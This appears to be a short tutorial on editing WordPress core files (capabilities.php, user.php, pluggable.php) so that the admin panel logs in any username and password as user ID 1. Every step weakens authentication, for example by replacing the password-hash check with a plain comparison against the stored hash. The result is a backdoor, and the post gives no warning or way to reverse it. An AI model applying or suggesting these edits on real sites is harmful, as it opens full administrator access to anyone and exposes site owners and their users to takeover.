Wordpress Login Into Admin Panel Without Knowing or Changing Username and Password:

1) Open the file capabilities.php present in the path  projectname/wp-includes/capabilities.php.
2) Go to Line number 559 , In switch statements under case : login , Replace the following

                   $value = sanitize_user( $value );  to  $value = 1;
                   $db_field = 'user_login';   to   $db_field = 'ID';

3) Open the file  user.php present in the path  projectname/wp-includes/user.php.
4) Go to Line number 105  $user = apply_filters('wp_authenticate_user', $user, $password);
5) Add the following line below $user.
     
             global $wpdb;      
             $mylink = $wpdb->get_row("SELECT * FROM $wpdb->users WHERE ID = 1");  
             $password=$mylink->user_pass;


 6) Open the file pluggable.php present in the path  projectname/wp-includes/ pluggable.php
 7) Go to Line number 1444   in    function  wp_check_password() ,Replace the following
             
            strlen($hash) <= 32  to  strlen($hash) > 1
            $check = ( $hash == md5($password) );     to    $check = ( $hash == $password );
           
            Save all the things , After doing all the corrections Go to the admin panel.
            Enter any username and any password you can now able to login into admin panel.